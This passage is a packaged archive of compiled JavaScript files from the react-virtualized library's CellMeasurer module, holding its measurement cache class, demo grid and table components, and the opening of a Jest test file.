          rowIndex = _ref.rowIndex,
          style = _ref.style;
      var _this$props = this.props,
          getClassName = _this$props.getClassName,
          getContent = _this$props.getContent,
          list = _this$props.list;
      var datum = list.get((rowIndex + columnIndex) % list.size);
      var classNames = getClassName({
        columnIndex: columnIndex,
        rowIndex: rowIndex
      });
      var content = getContent({
        index: rowIndex,
        datum: datum,
        "long": false
      });

      if (columnIndex === 0) {
        content = content.substr(0, 50);
      }

      return React.createElement(_CellMeasurer["default"], {
        cache: this._cache,
        columnIndex: columnIndex,
        key: key,
        parent: parent,
        rowIndex: rowIndex
      }, React.createElement("div", {
        className: classNames,
        style: _objectSpread({}, style, {
          whiteSpace: 'nowrap'
        })
      }, content));
    }
  }]);
  return DynamicWidthMultiGrid;
}(React.PureComponent);

exports["default"] = DynamicWidthMultiGrid;
DynamicWidthMultiGrid.propTypes = process.env.NODE_ENV !== "production" ? {
  getClassName: _propTypes["default"].func.isRequired,
  getContent: _propTypes["default"].func.isRequired,
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired,
  width: _propTypes["default"].number.isRequired
} : {};commonjs/CellMeasurer/types.js000064400000001402151677406000012461 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports.bpfrpt_proptype_CellMeasureCache = void 0;

var _propTypes = _interopRequireDefault(require("prop-types"));

var bpfrpt_proptype_CellMeasureCache = process.env.NODE_ENV === 'production' ? null : {
  "hasFixedWidth": _propTypes["default"].func.isRequired,
  "hasFixedHeight": _propTypes["default"].func.isRequired,
  "has": _propTypes["default"].func.isRequired,
  "set": _propTypes["default"].func.isRequired,
  "getHeight": _propTypes["default"].func.isRequired,
  "getWidth": _propTypes["default"].func.isRequired
};
exports.bpfrpt_proptype_CellMeasureCache = bpfrpt_proptype_CellMeasureCache;commonjs/CellMeasurer/CellMeasurerCache.js000064400000020213151677406000014625 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = exports.DEFAULT_WIDTH = exports.DEFAULT_HEIGHT = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _types = require("./types");

var DEFAULT_HEIGHT = 30;
exports.DEFAULT_HEIGHT = DEFAULT_HEIGHT;
var DEFAULT_WIDTH = 100; // Enables more intelligent mapping of a given column and row index to an item ID.
// This prevents a cell cache from being invalidated when its parent collection is modified.

exports.DEFAULT_WIDTH = DEFAULT_WIDTH;

/**
 * Caches measurements for a given cell.
 */
var CellMeasurerCache =
/*#__PURE__*/
function () {
  function CellMeasurerCache() {
    var _this = this;

    var params = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {};
    (0, _classCallCheck2["default"])(this, CellMeasurerCache);
    (0, _defineProperty2["default"])(this, "_cellHeightCache", {});
    (0, _defineProperty2["default"])(this, "_cellWidthCache", {});
    (0, _defineProperty2["default"])(this, "_columnWidthCache", {});
    (0, _defineProperty2["default"])(this, "_rowHeightCache", {});
    (0, _defineProperty2["default"])(this, "_defaultHeight", void 0);
    (0, _defineProperty2["default"])(this, "_defaultWidth", void 0);
    (0, _defineProperty2["default"])(this, "_minHeight", void 0);
    (0, _defineProperty2["default"])(this, "_minWidth", void 0);
    (0, _defineProperty2["default"])(this, "_keyMapper", void 0);
    (0, _defineProperty2["default"])(this, "_hasFixedHeight", void 0);
    (0, _defineProperty2["default"])(this, "_hasFixedWidth", void 0);
    (0, _defineProperty2["default"])(this, "_columnCount", 0);
    (0, _defineProperty2["default"])(this, "_rowCount", 0);
    (0, _defineProperty2["default"])(this, "columnWidth", function (_ref) {
      var index = _ref.index;

      var key = _this._keyMapper(0, index);

      return _this._columnWidthCache[key] !== undefined ? _this._columnWidthCache[key] : _this._defaultWidth;
    });
    (0, _defineProperty2["default"])(this, "rowHeight", function (_ref2) {
      var index = _ref2.index;

      var key = _this._keyMapper(index, 0);

      return _this._rowHeightCache[key] !== undefined ? _this._rowHeightCache[key] : _this._defaultHeight;
    });
    var defaultHeight = params.defaultHeight,
        defaultWidth = params.defaultWidth,
        fixedHeight = params.fixedHeight,
        fixedWidth = params.fixedWidth,
        keyMapper = params.keyMapper,
        minHeight = params.minHeight,
        minWidth = params.minWidth;
    this._hasFixedHeight = fixedHeight === true;
    this._hasFixedWidth = fixedWidth === true;
    this._minHeight = minHeight || 0;
    this._minWidth = minWidth || 0;
    this._keyMapper = keyMapper || defaultKeyMapper;
    this._defaultHeight = Math.max(this._minHeight, typeof defaultHeight === 'number' ? defaultHeight : DEFAULT_HEIGHT);
    this._defaultWidth = Math.max(this._minWidth, typeof defaultWidth === 'number' ? defaultWidth : DEFAULT_WIDTH);

    if (process.env.NODE_ENV !== 'production') {
      if (this._hasFixedHeight === false && this._hasFixedWidth === false) {
        console.warn("CellMeasurerCache should only measure a cell's width or height. " + 'You have configured CellMeasurerCache to measure both. ' + 'This will result in poor performance.');
      }

      if (this._hasFixedHeight === false && this._defaultHeight === 0) {
        console.warn('Fixed height CellMeasurerCache should specify a :defaultHeight greater than 0. ' + 'Failing to do so will lead to unnecessary layout and poor performance.');
      }

      if (this._hasFixedWidth === false && this._defaultWidth === 0) {
        console.warn('Fixed width CellMeasurerCache should specify a :defaultWidth greater than 0. ' + 'Failing to do so will lead to unnecessary layout and poor performance.');
      }
    }
  }

  (0, _createClass2["default"])(CellMeasurerCache, [{
    key: "clear",
    value: function clear(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

      var key = this._keyMapper(rowIndex, columnIndex);

      delete this._cellHeightCache[key];
      delete this._cellWidthCache[key];

      this._updateCachedColumnAndRowSizes(rowIndex, columnIndex);
    }
  }, {
    key: "clearAll",
    value: function clearAll() {
      this._cellHeightCache = {};
      this._cellWidthCache = {};
      this._columnWidthCache = {};
      this._rowHeightCache = {};
      this._rowCount = 0;
      this._columnCount = 0;
    }
  }, {
    key: "hasFixedHeight",
    value: function hasFixedHeight() {
      return this._hasFixedHeight;
    }
  }, {
    key: "hasFixedWidth",
    value: function hasFixedWidth() {
      return this._hasFixedWidth;
    }
  }, {
    key: "getHeight",
    value: function getHeight(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

      if (this._hasFixedHeight) {
        return this._defaultHeight;
      } else {
        var _key = this._keyMapper(rowIndex, columnIndex);

        return this._cellHeightCache[_key] !== undefined ? Math.max(this._minHeight, this._cellHeightCache[_key]) : this._defaultHeight;
      }
    }
  }, {
    key: "getWidth",
    value: function getWidth(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

      if (this._hasFixedWidth) {
        return this._defaultWidth;
      } else {
        var _key2 = this._keyMapper(rowIndex, columnIndex);

        return this._cellWidthCache[_key2] !== undefined ? Math.max(this._minWidth, this._cellWidthCache[_key2]) : this._defaultWidth;
      }
    }
  }, {
    key: "has",
    value: function has(rowIndex) {
      var columnIndex = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : 0;

      var key = this._keyMapper(rowIndex, columnIndex);

      return this._cellHeightCache[key] !== undefined;
    }
  }, {
    key: "set",
    value: function set(rowIndex, columnIndex, width, height) {
      var key = this._keyMapper(rowIndex, columnIndex);

      if (columnIndex >= this._columnCount) {
        this._columnCount = columnIndex + 1;
      }

      if (rowIndex >= this._rowCount) {
        this._rowCount = rowIndex + 1;
      } // Size is cached per cell so we don't have to re-measure if cells are re-ordered.


      this._cellHeightCache[key] = height;
      this._cellWidthCache[key] = width;

      this._updateCachedColumnAndRowSizes(rowIndex, columnIndex);
    }
  }, {
    key: "_updateCachedColumnAndRowSizes",
    value: function _updateCachedColumnAndRowSizes(rowIndex, columnIndex) {
      // :columnWidth and :rowHeight are derived based on all cells in a column/row.
      // Pre-cache these derived values for faster lookup later.
      // Reads are expected to occur more frequently than writes in this case.
      // Only update non-fixed dimensions though to avoid doing unnecessary work.
      if (!this._hasFixedWidth) {
        var columnWidth = 0;

        for (var i = 0; i < this._rowCount; i++) {
          columnWidth = Math.max(columnWidth, this.getWidth(i, columnIndex));
        }

        var columnKey = this._keyMapper(0, columnIndex);

        this._columnWidthCache[columnKey] = columnWidth;
      }

      if (!this._hasFixedHeight) {
        var rowHeight = 0;

        for (var _i = 0; _i < this._columnCount; _i++) {
          rowHeight = Math.max(rowHeight, this.getHeight(rowIndex, _i));
        }

        var rowKey = this._keyMapper(rowIndex, 0);

        this._rowHeightCache[rowKey] = rowHeight;
      }
    }
  }, {
    key: "defaultHeight",
    get: function get() {
      return this._defaultHeight;
    }
  }, {
    key: "defaultWidth",
    get: function get() {
      return this._defaultWidth;
    }
  }]);
  return CellMeasurerCache;
}();

exports["default"] = CellMeasurerCache;

function defaultKeyMapper(rowIndex, columnIndex) {
  return "".concat(rowIndex, "-").concat(columnIndex);
}commonjs/CellMeasurer/CellMeasurer.DynamicHeightGrid.example.js000064400000011653151677406000020665 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _CellMeasurer = _interopRequireDefault(require("./CellMeasurer"));

var _CellMeasurerCache = _interopRequireDefault(require("./CellMeasurerCache"));

var _Grid = _interopRequireDefault(require("../Grid"));

var _CellMeasurerExample = _interopRequireDefault(require("./CellMeasurer.example.css"));

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var DynamicHeightGrid =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(DynamicHeightGrid, _React$PureComponent);

  function DynamicHeightGrid(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, DynamicHeightGrid);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(DynamicHeightGrid).call(this, props, context));
    _this._cache = new _CellMeasurerCache["default"]({
      defaultWidth: 150,
      fixedWidth: true
    });
    _this._cellRenderer = _this._cellRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(DynamicHeightGrid, [{
    key: "render",
    value: function render() {
      var width = this.props.width;
      return React.createElement(_Grid["default"], {
        className: _CellMeasurerExample["default"].BodyGrid,
        columnCount: 50,
        columnWidth: 150,
        deferredMeasurementCache: this._cache,
        height: 400,
        overscanColumnCount: 0,
        overscanRowCount: 2,
        cellRenderer: this._cellRenderer,
        rowCount: 1000,
        rowHeight: this._cache.rowHeight,
        width: width
      });
    }
  }, {
    key: "_cellRenderer",
    value: function _cellRenderer(_ref) {
      var columnIndex = _ref.columnIndex,
          key = _ref.key,
          parent = _ref.parent,
          rowIndex = _ref.rowIndex,
          style = _ref.style;
      var _this$props = this.props,
          getClassName = _this$props.getClassName,
          getContent = _this$props.getContent,
          list = _this$props.list;
      var datum = list.get((rowIndex + columnIndex) % list.size);
      var classNames = getClassName({
        columnIndex: columnIndex,
        rowIndex: rowIndex
      });
      var content = getContent({
        index: rowIndex,
        datum: datum
      });
      return React.createElement(_CellMeasurer["default"], {
        cache: this._cache,
        columnIndex: columnIndex,
        key: key,
        parent: parent,
        rowIndex: rowIndex
      }, React.createElement("div", {
        className: classNames,
        style: _objectSpread({}, style, {
          width: 150
        })
      }, content));
    }
  }]);
  return DynamicHeightGrid;
}(React.PureComponent);

exports["default"] = DynamicHeightGrid;
DynamicHeightGrid.propTypes = process.env.NODE_ENV !== "production" ? {
  getClassName: _propTypes["default"].func.isRequired,
  getContent: _propTypes["default"].func.isRequired,
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired,
  width: _propTypes["default"].number.isRequired
} : {};commonjs/CellMeasurer/index.js000064400000001304151677406000012425 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
Object.defineProperty(exports, "CellMeasurer", {
  enumerable: true,
  get: function get() {
    return _CellMeasurer["default"];
  }
});
Object.defineProperty(exports, "CellMeasurerCache", {
  enumerable: true,
  get: function get() {
    return _CellMeasurerCache["default"];
  }
});
exports["default"] = void 0;

var _CellMeasurer = _interopRequireDefault(require("./CellMeasurer"));

var _CellMeasurerCache = _interopRequireDefault(require("./CellMeasurerCache"));

var _default = _CellMeasurer["default"];
exports["default"] = _default;commonjs/CellMeasurer/CellMeasurer.example.js000064400000015231151677406000015337 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _extends2 = _interopRequireDefault(require("@babel/runtime/helpers/extends"));

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _ContentBox = require("../demo/ContentBox");

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _clsx3 = _interopRequireDefault(require("clsx"));

var _CellMeasurerExample = _interopRequireDefault(require("./CellMeasurer.example.css"));

var _CellMeasurerDynamicWidthGridExample = _interopRequireDefault(require("./CellMeasurer.DynamicWidthGrid.example.js"));

var _CellMeasurerDynamicHeightGridExample = _interopRequireDefault(require("./CellMeasurer.DynamicHeightGrid.example.js"));

var _CellMeasurerDynamicWidthMultiGridExample = _interopRequireDefault(require("./CellMeasurer.DynamicWidthMultiGrid.example.js"));

var _CellMeasurerDynamicHeightListExample = _interopRequireDefault(require("./CellMeasurer.DynamicHeightList.example.js"));

var _CellMeasurerDynamicHeightTableColumnExample = _interopRequireDefault(require("./CellMeasurer.DynamicHeightTableColumn.example.js"));

var demoComponents = [_CellMeasurerDynamicWidthGridExample["default"], _CellMeasurerDynamicHeightGridExample["default"], _CellMeasurerDynamicWidthMultiGridExample["default"], _CellMeasurerDynamicHeightListExample["default"], _CellMeasurerDynamicHeightTableColumnExample["default"]];

var CellMeasurerExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(CellMeasurerExample, _React$PureComponent);

  function CellMeasurerExample(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, CellMeasurerExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(CellMeasurerExample).call(this, props, context));
    _this.state = {
      currentTab: 0
    };
    _this._onClick = _this._onClick.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(CellMeasurerExample, [{
    key: "render",
    value: function render() {
      var list = this.context.list;
      var currentTab = this.state.currentTab;
      var buttonProps = {
        currentTab: currentTab,
        onClick: this._onClick
      };
      var DemoComponent = demoComponents[currentTab];
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "CellMeasurer",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/CellMeasurer/CellMeasurer.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/CellMeasurer.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "This component can be used to just-in-time measure dynamic content (eg. messages in a chat interface)."), React.createElement(_AutoSizer["default"], {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement("div", {
          style: {
            width: width
          }
        }, React.createElement("div", null, React.createElement("strong", null, "Grid"), ":", React.createElement(Tab, (0, _extends2["default"])({
          id: 0
        }, buttonProps), "dynamic width text"), React.createElement(Tab, (0, _extends2["default"])({
          id: 1
        }, buttonProps), "dynamic height text"), React.createElement("strong", null, "MultiGrid"), ":", React.createElement(Tab, (0, _extends2["default"])({
          id: 2
        }, buttonProps), "dynamic width text"), React.createElement("strong", null, "List"), ":", React.createElement(Tab, (0, _extends2["default"])({
          id: 3
        }, buttonProps), "dynamic height image"), React.createElement("strong", null, "Table"), ":", React.createElement(Tab, (0, _extends2["default"])({
          id: 4
        }, buttonProps), "mixed fixed and dynamic height text")), React.createElement(DemoComponent, {
          getClassName: getClassName,
          getContent: getContent,
          list: list,
          width: width
        }));
      }));
    }
  }, {
    key: "_onClick",
    value: function _onClick(id) {
      this.setState({
        currentTab: id
      });
    }
  }]);
  return CellMeasurerExample;
}(React.PureComponent);

exports["default"] = CellMeasurerExample;
(0, _defineProperty2["default"])(CellMeasurerExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired
});

function getClassName(_ref2) {
  var columnIndex = _ref2.columnIndex,
      rowIndex = _ref2.rowIndex;
  var rowClass = rowIndex % 2 === 0 ? _CellMeasurerExample["default"].evenRow : _CellMeasurerExample["default"].oddRow;
  return (0, _clsx3["default"])(rowClass, _CellMeasurerExample["default"].cell, (0, _defineProperty2["default"])({}, _CellMeasurerExample["default"].centeredCell, columnIndex > 2));
}

function getContent(_ref3) {
  var index = _ref3.index,
      datum = _ref3.datum,
      _ref3$long = _ref3["long"],
      _long = _ref3$long === void 0 ? true : _ref3$long;

  switch (index % 3) {
    case 0:
      return datum.color;

    case 1:
      return datum.name;

    case 2:
      return _long ? datum.randomLong : datum.random;
  }
}

function Tab(_ref4) {
  var children = _ref4.children,
      currentTab = _ref4.currentTab,
      id = _ref4.id,
      _onClick2 = _ref4.onClick;
  var classNames = (0, _clsx3["default"])(_CellMeasurerExample["default"].Tab, (0, _defineProperty2["default"])({}, _CellMeasurerExample["default"].ActiveTab, currentTab === id));
  return React.createElement("button", {
    className: classNames,
    onClick: function onClick() {
      return _onClick2(id);
    }
  }, children);
}commonjs/CellMeasurer/CellMeasurer.DynamicHeightTableColumn.example.js000064400000011541151677406000022201 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _CellMeasurer = _interopRequireDefault(require("./CellMeasurer"));

var _CellMeasurerCache = _interopRequireDefault(require("./CellMeasurerCache"));

var _Table = require("../Table");

var _CellMeasurerExample = _interopRequireDefault(require("./CellMeasurer.example.css"));

var DynamicHeightTableColumn =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(DynamicHeightTableColumn, _React$PureComponent);

  function DynamicHeightTableColumn() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, DynamicHeightTableColumn);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(DynamicHeightTableColumn)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_cache", new _CellMeasurerCache["default"]({
      fixedWidth: true,
      minHeight: 25
    }));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_lastRenderedWidth", _this.props.width);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_columnCellRenderer", function (_ref) {
      var dataKey = _ref.dataKey,
          parent = _ref.parent,
          rowIndex = _ref.rowIndex;
      var list = _this.props.list;
      var datum = list.get(rowIndex % list.size);
      var content = rowIndex % 5 === 0 ? '' : datum.randomLong;
      return React.createElement(_CellMeasurer["default"], {
        cache: _this._cache,
        columnIndex: 0,
        key: dataKey,
        parent: parent,
        rowIndex: rowIndex
      }, React.createElement("div", {
        className: _CellMeasurerExample["default"].tableColumn,
        style: {
          whiteSpace: 'normal'
        }
      }, content));
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_rowGetter", function (_ref2) {
      var index = _ref2.index;
      var list = _this.props.list;
      return list.get(index % list.size);
    });
    return _this;
  }

  (0, _createClass2["default"])(DynamicHeightTableColumn, [{
    key: "render",
    value: function render() {
      var width = this.props.width;

      if (this._lastRenderedWidth !== this.props.width) {
        this._lastRenderedWidth = this.props.width;

        this._cache.clearAll();
      }

      return React.createElement(_Table.Table, {
        deferredMeasurementCache: this._cache,
        headerHeight: 20,
        height: 400,
        overscanRowCount: 2,
        rowClassName: _CellMeasurerExample["default"].tableRow,
        rowHeight: this._cache.rowHeight,
        rowGetter: this._rowGetter,
        rowCount: 1000,
        width: width
      }, React.createElement(_Table.Column, {
        className: _CellMeasurerExample["default"].tableColumn,
        dataKey: "name",
        label: "Name",
        width: 125
      }), React.createElement(_Table.Column, {
        className: _CellMeasurerExample["default"].tableColumn,
        dataKey: "color",
        label: "Color",
        width: 75
      }), React.createElement(_Table.Column, {
        width: width - 200,
        dataKey: "random",
        label: "Dynamic text",
        cellRenderer: this._columnCellRenderer
      }));
    }
  }]);
  return DynamicHeightTableColumn;
}(React.PureComponent);

exports["default"] = DynamicHeightTableColumn;
DynamicHeightTableColumn.propTypes = process.env.NODE_ENV !== "production" ? {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired,
  width: _propTypes["default"].number.isRequired
} : {};commonjs/CellMeasurer/CellMeasurer.jest.js000064400000026017151677406000014655 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _CellMeasurer = _interopRequireDefault(require("./CellMeasurer"));

var _CellMeasurerCache = _interopRequireWildcard(require("./CellMeasurerCache"));

// Accounts for the fact that JSDom doesn't support measurements.
function mockClientWidthAndHeight(_ref) {
  var height = _ref.height,
      width = _ref.width;
  var object = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : HTMLElement.prototype;
  var heightFn = jest.fn().mockReturnValue(height);
  var widthFn = jest.fn().mockReturnValue(width);
  Object.defineProperty(object, 'offsetHeight', {
    configurable: true,
    get: heightFn
  });
  Object.defineProperty(object, 'offsetWidth', {
    configurable: true,
    get: widthFn
  });
  return {
    heightFn: heightFn,
    widthFn: widthFn
  };
}

function createParent() {
  var _ref2 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
      cache = _ref2.cache,
      _ref2$invalidateCellS = _ref2.invalidateCellSizeAfterRender,
      invalidateCellSizeAfterRender = _ref2$invalidateCellS === void 0 ? jest.fn() : _ref2$invalidateCellS;

  return {
    invalidateCellSizeAfterRender: invalidateCellSizeAfterRender,
    props: {
      deferredMeasurementCache: cache
    }
  };
}

function renderHelper() {
  var _ref3 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
      _ref3$cache = _ref3.cache,
      cache = _ref3$cache === void 0 ? new _CellMeasurerCache["default"]({
    fixedWidth: true
  }) : _ref3$cache,
      _ref3$children = _ref3.children,
      children = _ref3$children === void 0 ? React.createElement("div", null) : _ref3$children,
      parent = _ref3.parent;

  (0, _TestUtils.render)(React.createElement(_CellMeasurer["default"], {
    cache: cache,
    columnIndex: 0,
    parent: parent,
    rowIndex: 0,
    style: {}
  }, children));
}

describe('CellMeasurer', function () {
  it('componentDidMount() should measure content that is not already in the cache', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    var parent = createParent({
      cache: cache
    });

    var _mockClientWidthAndHe = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }),
        heightFn = _mockClientWidthAndHe.heightFn,
        widthFn = _mockClientWidthAndHe.widthFn;

    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
    expect(cache.has(0, 0)).toBe(false);
    renderHelper({
      cache: cache,
      parent: parent
    });
    expect(parent.invalidateCellSizeAfterRender).toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(1);
    expect(widthFn).toHaveBeenCalledTimes(1);
    expect(cache.has(0, 0)).toBe(true);
    expect(cache.getWidth(0, 0)).toBe(100);
    expect(cache.getHeight(0, 0)).toBe(20);
  });
  it('componentDidMount() should not measure content that is already in the cache', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    var parent = createParent({
      cache: cache
    });

    var _mockClientWidthAndHe2 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }),
        heightFn = _mockClientWidthAndHe2.heightFn,
        widthFn = _mockClientWidthAndHe2.widthFn;

    expect(cache.has(0, 0)).toBe(true);
    renderHelper({
      cache: cache,
      parent: parent
    });
    expect(parent.invalidateCellSizeAfterRender).not.toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
  });
  it('componentDidUpdate() should measure content that is not already in the cache', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    var parent = createParent({
      cache: cache
    });
    renderHelper({
      cache: cache,
      parent: parent
    });
    cache.clear(0, 0);
    parent.invalidateCellSizeAfterRender.mockReset();
    expect(cache.has(0, 0)).toBe(false);
    expect(cache.getWidth(0, 0)).toBe(_CellMeasurerCache.DEFAULT_WIDTH);
    expect(cache.getHeight(0, 0)).toBe(_CellMeasurerCache.DEFAULT_HEIGHT);

    var _mockClientWidthAndHe3 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }),
        heightFn = _mockClientWidthAndHe3.heightFn,
        widthFn = _mockClientWidthAndHe3.widthFn;

    renderHelper({
      cache: cache,
      parent: parent
    });
    expect(cache.has(0, 0)).toBe(true);
    expect(parent.invalidateCellSizeAfterRender).toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(1);
    expect(widthFn).toHaveBeenCalledTimes(1);
    expect(cache.getWidth(0, 0)).toBe(100);
    expect(cache.getHeight(0, 0)).toBe(20);
  });
  it('componentDidUpdate() should not measure content that is already in the cache', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    cache.set(0, 0, 100, 20);
    var parent = createParent({
      cache: cache
    });
    expect(cache.has(0, 0)).toBe(true);

    var _mockClientWidthAndHe4 = mockClientWidthAndHeight({
      height: 20,
      width: 100
    }),
        heightFn = _mockClientWidthAndHe4.heightFn,
        widthFn = _mockClientWidthAndHe4.widthFn;

    renderHelper({
      cache: cache,
      parent: parent
    });
    renderHelper({
      cache: cache,
      parent: parent
    });
    expect(parent.invalidateCellSizeAfterRender).not.toHaveBeenCalled();
    expect(heightFn).toHaveBeenCalledTimes(0);
    expect(widthFn).toHaveBeenCalledTimes(0);
  });
  it('registerChild() should measure content that is not already in the cache', function () {
    var cache = new _CellMeasurerCache["default"]({
      fixedWidth: true
    });
    var parent = createParent({
      cache: cache
    });
    var element = document.createElement('div');

    var _mockClientWidthAndHe5 = mockClientWidthAndHeight({
      height: 20,
      width: 100
